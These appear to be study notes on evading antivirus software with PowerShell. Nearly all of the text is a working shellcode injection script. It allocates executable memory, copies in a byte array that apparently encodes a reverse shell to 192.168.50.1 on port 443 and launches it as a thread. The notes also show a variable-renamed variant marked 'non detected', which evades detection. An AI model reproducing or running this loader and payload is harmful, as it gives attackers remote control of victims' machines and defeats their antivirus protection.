Anti-Virus Evasion


AV detection methods

# enable Execution policy

Get-ExecutionPolicy -Scope CurrentUser

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

# evading AV with thread injection

powershell script for process memory injection

detected:

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);'
;

$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x5,0x68,0xc0,0xa8,0x32,0x1,0x68,0x2,0x0,0x1,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xc,0xff,0x4e,0x8,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x0,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,0x1,0x1,0x8d,0x44,0x24,0x10,0xc6,0x0,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5;;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

------

non detected:

$var2 = Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]] $var1 = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28
...

$size = 0x1000;

if ($var1.Length -gt 0x1000) {$size = $var1.Length};

$x = $var2::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($var1.Length-1);$i++) {$var2::memset([IntPtr]($x.ToInt32()+$i), $var1[$i], 1)};

$var2::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };